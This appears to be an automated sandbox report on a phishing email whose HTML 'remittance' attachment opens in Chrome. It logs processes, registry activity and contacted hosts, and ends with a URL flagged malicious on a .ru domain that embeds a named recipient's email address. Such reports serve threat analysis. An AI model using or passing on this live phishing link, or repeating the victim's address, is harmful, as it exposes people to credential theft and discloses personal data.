Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=1944,i,3455865811790200313,8750311825173435097,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1844,i,8970548161277558720,12195311957042810965,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\DAFUMPZW\Metalus Remittance_7420249835_11053465 (003).html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1928,i,4118263844888920036,16677394294465106818,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\DAFUMPZW\phish_alert_sp2_2.0.0.0.eml"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\DAFUMPZW\Metalus Remittance_7420249835_11053465 (003).html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1928,i,4118263844888920036,16677394294465106818,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: c2r64.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Section loaded: gpapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Window found: window name: SysTabControl32
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common
Stores files to the Windows start menu directory
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE File Volume queried: C:\Windows\SysWOW64 FullSizeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process information queried: ProcessInformation
Queries the volume information (name, serial number etc) of a device
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
52.168.117.174
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
142.250.186.68
 unknown United States
15169 GOOGLEUS false
13.107.246.45
 s-part-0017.t-0009.t-msedge.net United States
8068 MICROSOFT-CORP-MSN-AS-BLOCKUS false
95.101.149.131
 unknown European Union
20940 AKAMAI-ASN1EU false
20.223.35.26
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
2.16.164.121
 unknown European Union
20940 AKAMAI-ASN1EU false
88.221.110.176
 unknown European Union
20940 AKAMAI-ASN1EU false
151.101.66.137
 code.jquery.com United States
54113 FASTLYUS false
35.190.80.1
 a.nel.cloudflare.com United States
15169 GOOGLEUS false
52.109.20.38
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
104.102.52.100
 unknown United States
16625 AKAMAI-ASUS false
1.1.1.1
 unknown Australia
13335 CLOUDFLARENETUS false
13.89.179.14
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
74.125.133.84
 unknown United States
15169 GOOGLEUS false
52.109.68.130
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
69.49.245.172
 web10.pro United States
46606 UNIFIEDLAYER-AS-1US false
104.18.95.41
 challenges.cloudflare.com United States
13335 CLOUDFLARENETUS false
63.140.62.17
 microsoftwindows.112.2o7.net United States
15224 OMNITUREUS false
216.58.206.46
 unknown United States
15169 GOOGLEUS false
13.107.253.72
 s-part-0044.t-0009.fb-t-msedge.net United States
8068 MICROSOFT-CORP-MSN-AS-BLOCKUS false
2.19.126.151
 unknown European Union
16625 AKAMAI-ASUS false
239.255.255.250
 unknown Reserved
unknown unknown false
188.114.97.3
 cyt.sprenumen.ru European Union
13335 CLOUDFLARENETUS false
52.182.143.210
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
152.199.21.175
 sni1gl.wpc.alphacdn.net United States
15133 EDGECASTUS false
2.19.224.93
 unknown European Union
16625 AKAMAI-ASUS false
52.109.76.243
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
104.17.25.14
 unknown United States
13335 CLOUDFLARENETUS false
2.18.64.214
 unknown European Union
6057 AdministracionNacionaldeTelecomunicacionesUY false
104.102.41.166
 unknown United States
16625 AKAMAI-ASUS false
104.18.94.41
 unknown United States
13335 CLOUDFLARENETUS false
95.101.148.110
 unknown European Union
20940 AKAMAI-ASN1EU false
13.107.246.60
 s-part-0032.t-0009.t-msedge.net United States
8068 MICROSOFT-CORP-MSN-AS-BLOCKUS false
104.17.200.204
 noon.com United States
13335 CLOUDFLARENETUS false
172.217.23.110
 unknown United States
15169 GOOGLEUS false
184.28.89.233
 unknown United States
16625 AKAMAI-ASUS false
142.250.186.131
 unknown United States
15169 GOOGLEUS false
151.101.194.137
 unknown United States
54113 FASTLYUS false
142.250.74.196
 www.google.com United States
15169 GOOGLEUS false
142.250.186.138
 unknown United States
15169 GOOGLEUS false
52.113.194.132
 unknown United States
8068 MICROSOFT-CORP-MSN-AS-BLOCKUS false
104.17.24.14
 cdnjs.cloudflare.com United States
13335 CLOUDFLARENETUS false
13.107.253.45
 s-part-0017.t-0009.fb-t-msedge.net United States
8068 MICROSOFT-CORP-MSN-AS-BLOCKUS false
142.250.181.227
 unknown United States
15169 GOOGLEUS false
20.190.159.4
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
20.190.159.2
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
92.122.18.57
 aka.ms European Union
16625 AKAMAI-ASUS false
188.114.96.3
 xqe94soygyl0xmmn7oi0raibl6rn1ojg7he0qyjbvy1xxkrsv028hloblup.zentriva.su European Union
13335 CLOUDFLARENETUS false
20.103.156.88
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
88.221.110.129
 unknown European Union
20940 AKAMAI-ASN1EU false

Private

IP
192.168.2.16

Contacted Domains

Name IP Active
a.nel.cloudflare.com 35.190.80.1 true
s-part-0044.t-0009.fb-t-msedge.net 13.107.253.72 true
xqe94soygyl0xmmn7oi0raibl6rn1ojg7he0qyjbvy1xxkrsv028hloblup.zentriva.su 188.114.96.3 true
microsoftwindows.112.2o7.net 63.140.62.17 true
sni1gl.wpc.alphacdn.net 152.199.21.175 true
s-part-0017.t-0009.t-msedge.net 13.107.246.45 true
s-part-0017.t-0009.fb-t-msedge.net 13.107.253.45 true
aka.ms 92.122.18.57 true
s-part-0039.t-0009.t-msedge.net 13.107.246.67 true
noon.com 104.17.200.204 true
web10.pro 69.49.245.172 true
code.jquery.com 151.101.66.137 true
cdnjs.cloudflare.com 104.17.24.14 true
cyt.sprenumen.ru 188.114.97.3 true
challenges.cloudflare.com 104.18.95.41 true
sni1gl.wpc.omegacdn.net 152.199.21.175 true
www.google.com 142.250.74.196 true
s-part-0032.t-0009.t-msedge.net 13.107.246.60 true
js.monitor.azure.com unknown unknown
aadcdn.msftauth.net unknown unknown
logincdn.msftauth.net unknown unknown
assets.onestore.ms unknown unknown
mem.gfx.ms unknown unknown
c.s-microsoft.com unknown unknown
support.content.office.net unknown unknown
login.microsoftonline.com unknown unknown
acctcdn.msftauth.net unknown unknown
www.noon.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://cyt.sprenumen.ru/wJPIeL/#V#dlaurence.brochu@metalus.qc.ca true
    		unknown
    https://cyt.sprenumen.ru/wJPIeL/#I#dlaurence.brochu@metalus.qc.ca false
      		unknown